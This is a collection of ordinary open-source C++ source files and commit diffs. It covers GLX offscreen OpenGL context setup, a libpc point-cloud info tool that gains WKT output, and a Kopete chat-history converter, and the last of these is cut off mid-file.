!glXDestroyPbuffer) { DLOG(ERROR) << "Pbuffer support not available."; return false; } static const int config_attributes[] = { GLX_DRAWABLE_TYPE, GLX_PBUFFER_BIT, GLX_RENDER_TYPE, GLX_RGBA_BIT, GLX_DOUBLEBUFFER, 0, 0 }; Display* display = x11_util::GetXDisplay(); int nelements = 0; // TODO(kbr): figure out whether hardcoding screen to 0 is sufficient. scoped_ptr_malloc<GLXFBConfig, ScopedPtrXFree> config( glXChooseFBConfig(display, 0, config_attributes, &nelements)); if (!config.get()) { DLOG(ERROR) << "glXChooseFBConfig failed."; return false; } if (!nelements) { DLOG(ERROR) << "glXChooseFBConfig returned 0 elements."; return false; } context_ = glXCreateNewContext(display, config.get()[0], GLX_RGBA_TYPE, static_cast<GLContextHandle>(shared_handle), True); if (!context_) { DLOG(ERROR) << "glXCreateNewContext failed."; return false; } static const int pbuffer_attributes[] = { GLX_PBUFFER_WIDTH, 1, GLX_PBUFFER_HEIGHT, 1, 0 }; pbuffer_ = glXCreatePbuffer(display, config.get()[0], pbuffer_attributes); if (!pbuffer_) { Destroy(); DLOG(ERROR) << "glXCreatePbuffer failed."; return false; } if (!MakeCurrent()) { Destroy(); DLOG(ERROR) << "Couldn't make context current for initialization."; return false; } if (!InitializeGLEW()) { Destroy(); return false; } if (!InitializeCommon()) { Destroy(); return false; } return true; } void PbufferGLContext::Destroy() { Display* display = x11_util::GetXDisplay(); Bool result = glXMakeCurrent(display, 0, 0); // glXMakeCurrent isn't supposed to fail when unsetting the context, unless // we have pending draws on an invalid window - which shouldn't be the case // here. DCHECK(result); if (context_) { glXDestroyContext(display, context_); context_ = NULL; } if (pbuffer_) { glXDestroyPbuffer(display, pbuffer_); pbuffer_ = 0; } } bool PbufferGLContext::MakeCurrent() { if (IsCurrent()) { return true; } Display* display = x11_util::GetXDisplay(); if (glXMakeCurrent(display, pbuffer_, context_) != True) { glXDestroyContext(display, context_); context_ = NULL; DLOG(ERROR) << "Couldn't make context current."; return false; } return true; } bool PbufferGLContext::IsCurrent() { return glXGetCurrentDrawable() == pbuffer_ && glXGetCurrentContext() == context_; } bool PbufferGLContext::IsOffscreen() { return true; } void PbufferGLContext::SwapBuffers() { NOTREACHED() << "Attempted to call SwapBuffers on a pbuffer."; } gfx::Size PbufferGLContext::GetSize() { NOTREACHED() << "Should not be requesting size of this pbuffer."; return gfx::Size(1, 1); } void* PbufferGLContext::GetHandle() { return context_; } bool PixmapGLContext::Initialize(void* shared_handle) { DLOG(INFO) << "GL context: using pixmaps."; if (!glXChooseVisual || !glXCreateGLXPixmap || !glXDestroyGLXPixmap) { DLOG(ERROR) << "Pixmap support not available."; return false; } static int attributes[] = { GLX_RGBA, 0 }; Display* display = x11_util::GetXDisplay(); int screen = DefaultScreen(display); scoped_ptr_malloc<XVisualInfo, ScopedPtrXFree> visual_info( glXChooseVisual(display, screen, attributes)); if (!visual_info.get()) { DLOG(ERROR) << "glXChooseVisual failed."; return false; } context_ = glXCreateContext(display, visual_info.get(), static_cast<GLContextHandle>(shared_handle), True); if (!context_) { DLOG(ERROR) << "glXCreateContext failed."; return false; } pixmap_ = XCreatePixmap(display, RootWindow(display, screen), 1, 1, visual_info->depth); if (!pixmap_) { DLOG(ERROR) << "XCreatePixmap failed."; return false; } glx_pixmap_ = glXCreateGLXPixmap(display, visual_info.get(), pixmap_); if (!glx_pixmap_) { DLOG(ERROR) << "XCreatePixmap failed."; return false; } if (!MakeCurrent()) { Destroy(); DLOG(ERROR) << "Couldn't make context current for initialization."; return false; } if (!InitializeGLEW()) { Destroy(); return false; } if (!InitializeCommon()) { Destroy(); return false; } return true; } void PixmapGLContext::Destroy() { Display* display = x11_util::GetXDisplay(); Bool result = glXMakeCurrent(display, 0, 0); // glXMakeCurrent isn't supposed to fail when unsetting the context, unless // we have pending draws on an invalid window - which shouldn't be the case // here. DCHECK(result); if (context_) { glXDestroyContext(display, context_); context_ = NULL; } if (glx_pixmap_) { glXDestroyGLXPixmap(display, glx_pixmap_); glx_pixmap_ = 0; } if (pixmap_) { XFreePixmap(display, pixmap_); pixmap_ = 0; } } bool PixmapGLContext::MakeCurrent() { if (IsCurrent()) { return true; } Display* display = x11_util::GetXDisplay(); if (glXMakeCurrent(display, glx_pixmap_, context_) != True) { glXDestroyContext(display, context_); context_ = NULL; DLOG(ERROR) << "Couldn't make context current."; return false; } return true; } bool PixmapGLContext::IsCurrent() { return glXGetCurrentDrawable() == glx_pixmap_ && glXGetCurrentContext() == context_; } bool PixmapGLContext::IsOffscreen() { return true; } void PixmapGLContext::SwapBuffers() { NOTREACHED() << "Attempted to call SwapBuffers on a pixmap."; } gfx::Size PixmapGLContext::GetSize() { NOTREACHED() << "Should not be requesting size of this pixmap."; return gfx::Size(1, 1); } void* PixmapGLContext::GetHandle() { return context_; } GLContext* GLContext::CreateOffscreenGLContext(void* shared_handle) { if (!InitializeOneOff()) return NULL; if (OSMesaCreateContext) { scoped_ptr<OSMesaGLContext> context(new OSMesaGLContext); if (!context->Initialize(shared_handle)) return NULL; return context.release(); } else { scoped_ptr<PbufferGLContext> context(new PbufferGLContext); if (context->Initialize(shared_handle)) return context.release(); scoped_ptr<PixmapGLContext> context_pixmap(new PixmapGLContext); if (context_pixmap->Initialize(shared_handle)) return context_pixmap.release(); return NULL; } } } // namespace gfx <|endoftext|>
<commit_before>/*************************************************************************** * * Project: libLAS -- C/C++ read/write library for LAS LIDAR data * Purpose: LAS information with optional configuration * Author: Howard Butler, hobu.inc at gmail.com *************************************************************************** * Copyright (c) 2010, Howard Butler, hobu.inc at gmail.com * * See LICENSE.txt in this source distribution for more information. **************************************************************************/ #include <libpc/drivers/las/Reader.hpp> #include <libpc/drivers/liblas/Reader.hpp> #include <libpc/Utils.hpp> #ifdef LIBPC_HAVE_MRSID #include <libpc/drivers/mrsid/Reader.hpp> #endif #include <iostream> #include "Application.hpp" using namespace libpc; namespace po = boost::program_options; class Application_pcinfo : public Application { public: Application_pcinfo(int argc, char* argv[]); int execute(); private: void addOptions(); bool validateOptions(); std::string m_inputFile; }; Application_pcinfo::Application_pcinfo(int argc, char* argv[]) : Application(argc, argv, "pcinfo") { } bool Application_pcinfo::validateOptions() { if (!hasOption("input")) { usageError("input file name required"); return false; } return true; } void Application_pcinfo::addOptions() { po::options_description* file_options = new po::options_description("file options"); file_options->add_options() ("input,i", po::value<std::string>(&m_inputFile), "input file name") ("native", "use native LAS classes (not liblas)") ; addOptionSet(file_options); addPositionalOption("input", 1); return; } int Application_pcinfo::execute() { if (!Utils::fileExists(m_inputFile)) { runtimeError("file not found: " + m_inputFile); return 1; } libpc::Stage* reader = NULL; size_t ext = m_inputFile.find_last_of('.'); if (ext != std::string::npos) { ext++; if (!m_inputFile.substr(ext).compare("las") || !m_inputFile.substr(ext).compare("laz")) { if (hasOption("native")) { reader = new libpc::drivers::las::LasReader(m_inputFile); } else { reader = new libpc::drivers::liblas::LiblasReader(m_inputFile); } } #ifdef LIBPC_HAVE_MRSID else if (!m_inputFile.substr(ext).compare("sid")) { reader = new libpc::drivers::mrsid::Reader(m_inputFile.c_str()); } #endif } else { std::cerr << "Cannot determine file type of " << m_inputFile << "." << std::endl; return 1; } boost::uint64_t numPoints = reader->getNumPoints(); delete reader; std::cout << numPoints << " points\n"; return 0; } int main(int argc, char* argv[]) { Application_pcinfo app(argc, argv); return app.run(); } #if 0 #include <liblas/liblas.hpp> #include "laskernel.hpp" #include <boost/cstdint.hpp> #include <boost/foreach.hpp> #include <locale> using namespace liblas; using namespace std; liblas::Summary check_points( liblas::Reader& reader, std::vector<liblas::FilterPtr>& filters, std::vector<liblas::TransformPtr>& transforms, bool verbose) { liblas::Summary summary; reader.SetFilters(filters); reader.SetTransforms(transforms); if (verbose) std::cout << "Scanning points:" << "\n - : " << std::endl; // // Translation of points cloud to features set // boost::uint32_t i = 0; boost::uint32_t const size = reader.GetHeader().GetPointRecordsCount(); while (reader.ReadNextPoint()) { liblas::Point const& p = reader.GetPoint(); summary.AddPoint(p); if (verbose) term_progress(std::cout, (i + 1) / static_cast<double>(size)); i++; } if (verbose) std::cout << std::endl; return summary; } void OutputHelp( std::ostream & oss, po::options_description const& options) { oss << "--------------------------------------------------------------------\n"; oss << " lasinfo (" << GetFullVersion() << ")\n"; oss << "--------------------------------------------------------------------\n"; oss << options; oss <<"\nFor more information, see the full documentation for lasinfo at:\n"; oss << " http://liblas.org/utilities/lasinfo.html\n"; oss << "----------------------------------------------------------\n"; } void PrintVLRs(std::ostream& os, liblas::Header const& header) { if (!header.GetRecordsCount()) return ; os << "---------------------------------------------------------" << std::endl; os << " VLR Summary" << std::endl; os << "---------------------------------------------------------" << std::endl; typedef std::vector<VariableRecord>::size_type size_type; for(size_type i = 0; i < header.GetRecordsCount(); i++) { liblas::VariableRecord const& v = header.GetVLR(i); os << v; } } int main(int argc, char* argv[]) { std::string input; bool verbose = false; bool check = true; bool show_vlrs = true; bool show_schema = true; bool output_xml = false; bool output_json = false; bool show_point = false; bool use_locale = false; boost::uint32_t point = 0; std::vector<liblas::FilterPtr> filters; std::vector<liblas::TransformPtr> transforms; liblas::Header header; try { po::options_description file_options("lasinfo options"); po::options_description filtering_options = GetFilteringOptions(); po::options_description header_options = GetHeaderOptions(); po::positional_options_description p; p.add("input", 1); p.add("output", 1); file_options.add_options() ("help,h", "produce help message") ("input,i", po::value< string >(), "input LAS file") ("verbose,v", po::value<bool>(&verbose)->zero_tokens(), "Verbose message output") ("no-vlrs", po::value<bool>(&show_vlrs)->zero_tokens()->implicit_value(false), "Don't show VLRs") ("no-schema", po::value<bool>(&show_schema)->zero_tokens()->implicit_value(false), "Don't show schema") ("no-check", po::value<bool>(&check)->zero_tokens()->implicit_value(false), "Don't scan points") ("xml", po::value<bool>(&output_xml)->zero_tokens()->implicit_value(true), "Output as XML") ("point,p", po::value<boost::uint32_t>(&point), "Display a point with a given id. --point 44") ("locale", po::value<bool>(&use_locale)->zero_tokens()->implicit_value(true), "Use the environment's locale for output") // --xml // --json // --restructured text output ; po::variables_map vm; po::options_description options; options.add(file_options).add(filtering_options); po::store(po::command_line_parser(argc, argv). options(options).positional(p).run(), vm); po::notify(vm); if (vm.count("help")) { OutputHelp(std::cout, options); return 1; } if (vm.count("point")) { show_point = true; } if (vm.count("input")) { input = vm["input"].as< string >(); std::ifstream ifs; if (verbose) std::cout << "Opening " << input << " to fetch Header" << std::endl; if (!liblas::Open(ifs, input.c_str())) { std::cerr << "Cannot open " << input << " for read. Exiting..." << std::endl; return 1; } liblas::ReaderFactory f; liblas::Reader reader = f.CreateWithStream(ifs); header = reader.GetHeader(); } else { std::cerr << "Input LAS file not specified!\n"; OutputHelp(std::cout, options); return 1; } filters = GetFilters(vm, verbose); std::ifstream ifs; if (!liblas::Open(ifs, input.c_str())) { std::cerr << "Cannot open " << input << " for read. Exiting..." << std::endl; return false; } liblas::ReaderFactory f; liblas::Reader reader = f.CreateWithStream(ifs); if (show_point) { try { reader.ReadPointAt(point); liblas::Point const& p = reader.GetPoint(); if (output_xml) { liblas::property_tree::ptree tree; tree = p.GetPTree(); liblas::property_tree::write_xml(std::cout, tree); exit(0); } else { if (use_locale) { std::locale l(""); std::cout.imbue(l); } std::cout << p << std::endl; exit(0); } } catch (std::out_of_range const& e) { std::cerr << "Unable to read point at index " << point << ": " << e.what() << std::endl; exit(1); } } liblas::Summary summary; if (check) summary = check_points( reader, filters, transforms, verbose ); liblas::Header const& header = reader.GetHeader(); // Add the header to the summary so we can get more detailed // info summary.SetHeader(header); if (output_xml && output_json) { std::cerr << "both JSON and XML output cannot be chosen"; return 1; } if (output_xml) { liblas::property_tree::ptree tree; if (check) tree = summary.GetPTree(); else { tree.add_child("summary.header", header.GetPTree()); } liblas::property_tree::write_xml(std::cout, tree); return 0; } if (use_locale) { std::locale l(""); std::cout.imbue(l); } std::cout << header << std::endl; if (show_vlrs) PrintVLRs(std::cout, header); if (show_schema) std::cout << header.GetSchema(); if (check) { std::cout << summary << std::endl; } } catch(std::exception& e) { std::cerr << "error: " << e.what() << "\n"; return 1; } catch(...) { std::cerr << "Exception of unknown type!\n"; } return 0; } //las2las2 -i lt_srs_rt.las -o foo.las -c 1,2 -b 2483590,366208,2484000,366612 #endif <commit_msg>dump wkt info<commit_after>/*************************************************************************** * * Project: libLAS -- C/C++ read/write library for LAS LIDAR data * Purpose: LAS information with optional configuration * Author: Howard Butler, hobu.inc at gmail.com *************************************************************************** * Copyright (c) 2010, Howard Butler, hobu.inc at gmail.com * * See LICENSE.txt in this source distribution for more information. **************************************************************************/ #include <libpc/drivers/las/Reader.hpp> #include <libpc/drivers/liblas/Reader.hpp> #include <libpc/Utils.hpp> #ifdef LIBPC_HAVE_MRSID #include <libpc/drivers/mrsid/Reader.hpp> #endif #include <iostream> #include "Application.hpp" using namespace libpc; namespace po = boost::program_options; class Application_pcinfo : public Application { public: Application_pcinfo(int argc, char* argv[]); int execute(); private: void addOptions(); bool validateOptions(); std::string m_inputFile; }; Application_pcinfo::Application_pcinfo(int argc, char* argv[]) : Application(argc, argv, "pcinfo") { } bool Application_pcinfo::validateOptions() { if (!hasOption("input")) { usageError("input file name required"); return false; } return true; } void Application_pcinfo::addOptions() { po::options_description* file_options = new po::options_description("file options"); file_options->add_options() ("input,i", po::value<std::string>(&m_inputFile), "input file name") ("native", "use native LAS classes (not liblas)") ; addOptionSet(file_options); addPositionalOption("input", 1); return; } int Application_pcinfo::execute() { if (!Utils::fileExists(m_inputFile)) { runtimeError("file not found: " + m_inputFile); return 1; } libpc::Stage* reader = NULL; size_t ext = m_inputFile.find_last_of('.'); if (ext != std::string::npos) { ext++; if (!m_inputFile.substr(ext).compare("las") || !m_inputFile.substr(ext).compare("laz")) { if (hasOption("native")) { reader = new libpc::drivers::las::LasReader(m_inputFile); } else { reader = new libpc::drivers::liblas::LiblasReader(m_inputFile); } } #ifdef LIBPC_HAVE_MRSID else if (!m_inputFile.substr(ext).compare("sid")) { reader = new libpc::drivers::mrsid::Reader(m_inputFile.c_str()); } #endif } else { std::cerr << "Cannot determine file type of " << m_inputFile << "." << std::endl; return 1; } const boost::uint64_t numPoints = reader->getNumPoints(); const SpatialReference& srs = reader->getSpatialReference(); std::cout << numPoints << " points\n"; std::cout << "WKT: " << srs.getWKT() << "\n"; delete reader; return 0; } int main(int argc, char* argv[]) { Application_pcinfo app(argc, argv); return app.run(); } #if 0 #include <liblas/liblas.hpp> #include "laskernel.hpp" #include <boost/cstdint.hpp> #include <boost/foreach.hpp> #include <locale> using namespace liblas; using namespace std; liblas::Summary check_points( liblas::Reader& reader, std::vector<liblas::FilterPtr>& filters, std::vector<liblas::TransformPtr>& transforms, bool verbose) { liblas::Summary summary; reader.SetFilters(filters); reader.SetTransforms(transforms); if (verbose) std::cout << "Scanning points:" << "\n - : " << std::endl; // // Translation of points cloud to features set // boost::uint32_t i = 0; boost::uint32_t const size = reader.GetHeader().GetPointRecordsCount(); while (reader.ReadNextPoint()) { liblas::Point const& p = reader.GetPoint(); summary.AddPoint(p); if (verbose) term_progress(std::cout, (i + 1) / static_cast<double>(size)); i++; } if (verbose) std::cout << std::endl; return summary; } void OutputHelp( std::ostream & oss, po::options_description const& options) { oss << "--------------------------------------------------------------------\n"; oss << " lasinfo (" << GetFullVersion() << ")\n"; oss << "--------------------------------------------------------------------\n"; oss << options; oss <<"\nFor more information, see the full documentation for lasinfo at:\n"; oss << " http://liblas.org/utilities/lasinfo.html\n"; oss << "----------------------------------------------------------\n"; } void PrintVLRs(std::ostream& os, liblas::Header const& header) { if (!header.GetRecordsCount()) return ; os << "---------------------------------------------------------" << std::endl; os << " VLR Summary" << std::endl; os << "---------------------------------------------------------" << std::endl; typedef std::vector<VariableRecord>::size_type size_type; for(size_type i = 0; i < header.GetRecordsCount(); i++) { liblas::VariableRecord const& v = header.GetVLR(i); os << v; } } int main(int argc, char* argv[]) { std::string input; bool verbose = false; bool check = true; bool show_vlrs = true; bool show_schema = true; bool output_xml = false; bool output_json = false; bool show_point = false; bool use_locale = false; boost::uint32_t point = 0; std::vector<liblas::FilterPtr> filters; std::vector<liblas::TransformPtr> transforms; liblas::Header header; try { po::options_description file_options("lasinfo options"); po::options_description filtering_options = GetFilteringOptions(); po::options_description header_options = GetHeaderOptions(); po::positional_options_description p; p.add("input", 1); p.add("output", 1); file_options.add_options() ("help,h", "produce help message") ("input,i", po::value< string >(), "input LAS file") ("verbose,v", po::value<bool>(&verbose)->zero_tokens(), "Verbose message output") ("no-vlrs", po::value<bool>(&show_vlrs)->zero_tokens()->implicit_value(false), "Don't show VLRs") ("no-schema", po::value<bool>(&show_schema)->zero_tokens()->implicit_value(false), "Don't show schema") ("no-check", po::value<bool>(&check)->zero_tokens()->implicit_value(false), "Don't scan points") ("xml", po::value<bool>(&output_xml)->zero_tokens()->implicit_value(true), "Output as XML") ("point,p", po::value<boost::uint32_t>(&point), "Display a point with a given id. --point 44") ("locale", po::value<bool>(&use_locale)->zero_tokens()->implicit_value(true), "Use the environment's locale for output") // --xml // --json // --restructured text output ; po::variables_map vm; po::options_description options; options.add(file_options).add(filtering_options); po::store(po::command_line_parser(argc, argv). options(options).positional(p).run(), vm); po::notify(vm); if (vm.count("help")) { OutputHelp(std::cout, options); return 1; } if (vm.count("point")) { show_point = true; } if (vm.count("input")) { input = vm["input"].as< string >(); std::ifstream ifs; if (verbose) std::cout << "Opening " << input << " to fetch Header" << std::endl; if (!liblas::Open(ifs, input.c_str())) { std::cerr << "Cannot open " << input << " for read. Exiting..." << std::endl; return 1; } liblas::ReaderFactory f; liblas::Reader reader = f.CreateWithStream(ifs); header = reader.GetHeader(); } else { std::cerr << "Input LAS file not specified!\n"; OutputHelp(std::cout, options); return 1; } filters = GetFilters(vm, verbose); std::ifstream ifs; if (!liblas::Open(ifs, input.c_str())) { std::cerr << "Cannot open " << input << " for read. Exiting..." << std::endl; return false; } liblas::ReaderFactory f; liblas::Reader reader = f.CreateWithStream(ifs); if (show_point) { try { reader.ReadPointAt(point); liblas::Point const& p = reader.GetPoint(); if (output_xml) { liblas::property_tree::ptree tree; tree = p.GetPTree(); liblas::property_tree::write_xml(std::cout, tree); exit(0); } else { if (use_locale) { std::locale l(""); std::cout.imbue(l); } std::cout << p << std::endl; exit(0); } } catch (std::out_of_range const& e) { std::cerr << "Unable to read point at index " << point << ": " << e.what() << std::endl; exit(1); } } liblas::Summary summary; if (check) summary = check_points( reader, filters, transforms, verbose ); liblas::Header const& header = reader.GetHeader(); // Add the header to the summary so we can get more detailed // info summary.SetHeader(header); if (output_xml && output_json) { std::cerr << "both JSON and XML output cannot be chosen"; return 1; } if (output_xml) { liblas::property_tree::ptree tree; if (check) tree = summary.GetPTree(); else { tree.add_child("summary.header", header.GetPTree()); } liblas::property_tree::write_xml(std::cout, tree); return 0; } if (use_locale) { std::locale l(""); std::cout.imbue(l); } std::cout << header << std::endl; if (show_vlrs) PrintVLRs(std::cout, header); if (show_schema) std::cout << header.GetSchema(); if (check) { std::cout << summary << std::endl; } } catch(std::exception& e) { std::cerr << "error: " << e.what() << "\n"; return 1; } catch(...) { std::cerr << "Exception of unknown type!\n"; } return 0; } //las2las2 -i lt_srs_rt.las -o foo.las -c 1,2 -b 2483590,366208,2484000,366612 #endif <|endoftext|>
<commit_before>//Olivier Goffart <[email protected]> // 2003 06 26 #include "historyplugin.h" //just needed because we are a member of this class // we don't use any history function here /**----------------------------------------------------------- * CONVERTER from the old kopete history. * it port history from kopete 0.6, 0.5 and above the actual * this should be placed in a perl script handled by KConf_update * but i need to acess to some info i don't have with perl, like * the accountId, to know each protocol id, and more *-----------------------------------------------------------*/ #include "kopetepluginmanager.h" #include "kopeteaccount.h" #include "kopeteaccountmanager.h" #include "kopetecontact.h" #include "kopetemessage.h" #include "kopeteprotocol.h" #include "kopeteuiglobal.h" #include <kconfig.h> #include <kdebug.h> #include <klocale.h> #include <kstandarddirs.h> #include <kmessagebox.h> #include <kprogressdialog.h> #include <ksavefile.h> #include <QDir> #include <QtXml> // old qdom.h #include <QRegExp> #include <QTextStream> #include <QApplication> #define CBUFLENGTH 512 // buffer length for fgets() void HistoryPlugin::convertOldHistory() { bool deleteFiles= KMessageBox::questionYesNo( Kopete::UI::Global::mainWidget(), i18n( "Would you like to remove old history files?" ) , i18n( "History Converter" ), KStandardGuiItem::del(), KGuiItem( i18n("Keep") ) ) == KMessageBox::Yes; KProgressDialog *progressDlg=new KProgressDialog(Kopete::UI::Global::mainWidget() , i18n( "History converter" ) , QString::null , true); //modal to make sure the user will not doing stupid things (we have a qApp->processEvents()) progressDlg->setAllowCancel(false); //because i am too lazy to allow to cancel QString kopetedir=KStandardDirs::locateLocal( "data", QString::fromLatin1( "kopete")); QDir d( kopetedir ); //d should point to ~/.kde/share/apps/kopete/ d.setFilter( QDir::Dirs ); const QFileInfoList list = d.entryInfoList(); QFileInfo fi; foreach(fi, list) { QString protocolId; QString accountId; if( Kopete::Protocol *p = dynamic_cast<Kopete::Protocol *>( Kopete::PluginManager::self()->plugin( fi.fileName() ) ) ) { protocolId=p->pluginId(); QList<Kopete::Account*> accountList = Kopete::AccountManager::self()->accounts(p); Kopete::Account *a = accountList.first(); if(a) accountId=a->accountId(); } if(accountId.isNull() || protocolId.isNull()) { if(fi.fileName() == "MSNProtocol" || fi.fileName() == "msn_logs" ) { protocolId="MSNProtocol"; accountId=KGlobal::config()->group("MSN").readEntry( "UserID" ); } else if(fi.fileName() == "ICQProtocol" || fi.fileName() == "icq_logs" ) { protocolId="ICQProtocol"; accountId=KGlobal::config()->group("ICQ").readEntry( "UIN" ); } else if(fi.fileName() == "AIMProtocol" || fi.fileName() == "aim_logs" ) { protocolId="AIMProtocol"; accountId=KGlobal::config()->group("AIM").readEntry( "UserID" ); } else if(fi.fileName() == "OscarProtocol" ) { protocolId="AIMProtocol"; accountId=KGlobal::config()->group("OSCAR").readEntry( "UserID" ); } else if(fi.fileName() == "JabberProtocol" || fi.fileName() == "jabber_logs") { protocolId="JabberProtocol"; accountId=KGlobal::config()->group("Jabber").readEntry( "UserID" ); } //TODO: gadu, wp } if(!protocolId.isEmpty() || !accountId.isEmpty()) { QDir d2( fi.absoluteFilePath() ); d2.setFilter( QDir::Files ); d2.setNameFilters( QStringList("*.log") ); const QFileInfoList list = d2.entryInfoList();; QFileInfo fi2; progressDlg->progressBar()->reset(); progressDlg->progressBar()->setMaximum(d2.count()); progressDlg->setLabel(i18n("Parsing old history in %1", fi.fileName())); progressDlg->show(); //if it was not already showed... foreach(fi2, list) { //we assume that all "-" are dots. (like in hotmail.com) QString contactId=fi2.fileName().replace(".log" , QString()).replace("-" , "."); if(!contactId.isEmpty() ) { progressDlg->setLabel(i18n("Parsing old history in %1:\n%2", fi.fileName(), contactId)); qApp->processEvents(0); //make sure the text is updated in the progressDlg int month=0; int year=0; QDomDocument doc; QDomElement docElem; QDomElement msgelement; QDomNode node; QDomDocument xmllist; Kopete::Message::MessageDirection dir; QString body, date, nick; QString buffer, msgBlock; char cbuf[CBUFLENGTH]; // buffer for the log file QString logFileName = fi2.absoluteFilePath(); // open the file FILE *f = fopen(QFile::encodeName(logFileName), "r"); // create a new <message> block while ( ! feof( f ) ) { fgets(cbuf, CBUFLENGTH, f); buffer = QString::fromUtf8(cbuf); while ( strchr(cbuf, '\n') == NULL && !feof(f) ) { fgets( cbuf, CBUFLENGTH, f ); buffer += QString::fromUtf8(cbuf); } if( buffer.startsWith( QString::fromLatin1( "<message " ) ) ) { msgBlock = buffer; // find the end of the message block while( !feof( f ) && buffer != QString::fromLatin1( "</message>\n" ) /*strcmp("</message>\n", cbuf )*/ ) { fgets(cbuf, CBUFLENGTH, f); buffer = QString::fromUtf8(cbuf); while ( strchr(cbuf, '\n') == NULL && !feof(f) ) { fgets( cbuf, CBUFLENGTH, f ); buffer += QString::fromUtf8(cbuf); } msgBlock.append(buffer); } // now let's work on this new block xmllist.setContent(msgBlock, false); msgelement = xmllist.documentElement(); node = msgelement.firstChild(); if( msgelement.attribute( QString::fromLatin1( "direction" ) ) == QString::fromLatin1( "inbound" ) ) dir = Kopete::Message::Inbound; else dir = Kopete::Message::Outbound; // Read all the elements. QString tagname; QDomElement element; while ( ! node.isNull() ) { if ( node.isElement() ) { element = node.toElement(); tagname = element.tagName(); if( tagname == QString::fromLatin1( "srcnick" ) ) nick = element.text(); else if( tagname == QString::fromLatin1( "date" ) ) date = element.text(); else if( tagname == QString::fromLatin1( "body" ) ) body = element.text().trimmed(); } node = node.nextSibling(); } //FIXME!! The date in logs writed with kopete running with QT 3.0 is Localised. // so QT can't parse it correctly. QDateTime dt=QDateTime::fromString(date); if(dt.date().month() != month || dt.date().year() != year) { if(!docElem.isNull()) { QDate date(year,month,1); QString name = protocolId.replace( QRegExp( QString::fromLatin1( "[./~?*]" ) ), QString::fromLatin1( "-" ) ) + QString::fromLatin1( "/" ) + contactId.replace( QRegExp( QString::fromLatin1( "[./~?*]" ) ), QString::fromLatin1( "-" ) ) + date.toString(".yyyyMM"); KSaveFile file( KStandardDirs::locateLocal( "data", QString::fromLatin1( "kopete/logs/" ) + name + QString::fromLatin1( ".xml" ) ) ); if( file.open() ) { QTextStream stream ( &file ); //stream.setEncoding( QTextStream::UnicodeUTF8 ); //???? oui ou non? doc.save( stream , 1 ); file.finalize(); } } month=dt.date().month(); year=dt.date().year(); docElem=QDomElement(); } if(docElem.isNull()) { doc=QDomDocument("Kopete-History"); docElem= doc.createElement( "kopete-history" ); docElem.setAttribute ( "version" , "0.7" ); doc.appendChild( docElem ); QDomElement headElem = doc.createElement( "head" ); docElem.appendChild( headElem ); QDomElement dateElem = doc.createElement( "date" ); dateElem.setAttribute( "year", QString::number(year) ); dateElem.setAttribute( "month", QString::number(month) ); headElem.appendChild(dateElem); QDomElement myselfElem = doc.createElement( "contact" ); myselfElem.setAttribute( "type", "myself" ); myselfElem.setAttribute( "contactId", accountId ); headElem.appendChild(myselfElem); QDomElement contactElem = doc.createElement( "contact" ); contactElem.setAttribute( "contactId", contactId ); headElem.appendChild(contactElem); QDomElement importElem = doc.createElement( "imported" ); importElem.setAttribute( "from", fi.fileName() ); importElem.setAttribute( "date", QDateTime::currentDateTime().toString() ); headElem.appendChild(importElem); } QDomElement msgElem = doc.createElement( "msg" ); msgElem.setAttribute( "in", dir==Kopete::Message::Outbound ? "0" : "1" ); msgElem.setAttribute( "from", dir==Kopete::Message::Outbound ? accountId : contactId ); msgElem.setAttribute( "nick", nick ); //do we have to set this? msgElem.setAttribute( "time", QString::number(dt.date().day()) + ' ' + QString::number(dt.time().hour()) + ':' + QString::number(dt.time().minute()) ); QDomText msgNode = doc.createTextNode( body.trimmed() ); docElem.appendChild( msgElem ); msgElem.appendChild( msgNode ); } } fclose( f ); if(deleteFiles) d2.remove(fi2.fileName()); if(!docElem.isNull()) { QDate date(year,month,1); QString name = protocolId.replace( QRegExp( QString::fromLatin1( "[./~?*]" ) ), QString::fromLatin1( "-" ) ) + QString::fromLatin1( "/" ) + contactId.replace( QRegExp( QString::fromLatin1( "[./~?*]" ) ), QString::fromLatin1( "-" ) ) + date.toString(".yyyyMM"); KSaveFile file( KStandardDirs::locateLocal( "data", QString::fromLatin1( "kopete/logs/" ) + name + QString::fromLatin1( ".xml" ) ) ); if( file.open() ) { QTextStream stream ( &file ); //stream.setEncoding( QTextStream::UnicodeUTF8 ); //???? oui ou non? doc.save( stream ,1 ); file.finalize(); } } } progressDlg->progressBar()->setValue(progressDlg->progressBar()->value()+1); } } } delete progressDlg; } bool HistoryPlugin::detectOldHistory() { QString version=KGlobal::config()->group("History Plugin").readEntry( "Version" ,"0.6" ); if(version != "0.6") return false; QDir d( KStandardDirs::locateLocal( "data", QString::fromLatin1( "kopete/logs")) ); d.setFilter( QDir::Dirs ); if(d.count() >= 3) // '.' and '..' are included return false; //the new history already exists QDir d2( KStandardDirs::locateLocal( "data", QString::fromLatin1( "kopete")) ); d2.setFilter( QDir::Dirs ); const QFileInfoList list = d2.entryInfoList(); QFileInfo fi; foreach(fi, list) { if( dynamic_cast<Kopete::Protocol *>( Kopete::PluginManager::self()->plugin( fi.fileName() ) ) ) return true; if(fi.fileName() == "MSNProtocol" || fi.fileName() == "msn_logs" ) return true; else if(fi.fileName() == "ICQProtocol" || fi.fileName() == "icq_logs" ) return true; else if(fi.fileName() == "AIMProtocol" || fi.fileName() == "aim_logs" ) return true; else if(fi.fileName() == "OscarProtocol" ) return true; else if(fi.fileName() == "JabberProtocol" || fi.fileName() == "jabber_logs") return true; } return false; } <commit_msg>adopt to new API<commit_after>//Olivier Goffart <[email protected]> // 2003 06 26 #include "historyplugin.h" //just needed because we are a member of this class // we don't use any history function here /**----------------------------------------------------------- * CONVERTER from the old kopete history. * it port history from kopete 0.6, 0.5 and above the actual * this should be placed in a perl script handled by KConf_update * but i need to acess to some info i don't have with perl, like * the accountId, to know each protocol id, and more *-----------------------------------------------------------*/ #include "kopetepluginmanager.h" #include "kopeteaccount.h" #include "kopeteaccountmanager.h" #include "kopetecontact.h" #include "kopetemessage.h" #include "kopeteprotocol.h" #include "kopeteuiglobal.h" #include <kconfig.h> #include <kdebug.h> #include <klocale.h> #include <kstandarddirs.h> #include <kmessagebox.h> #include <kprogressdialog.h> #include <ksavefile.h> #include <QDir> #include <QtXml> // old qdom.h #include <QRegExp> #include <QTextStream> #include <QApplication> #define CBUFLENGTH 512 // buffer length for fgets() void HistoryPlugin::convertOldHistory() { bool deleteFiles= KMessageBox::questionYesNo( Kopete::UI::Global::mainWidget(), i18n( "Would you like to remove old history files?" ) , i18n( "History Converter" ), KStandardGuiItem::del(), KGuiItem( i18n("Keep") ) ) == KMessageBox::Yes; KProgressDialog *progressDlg=new 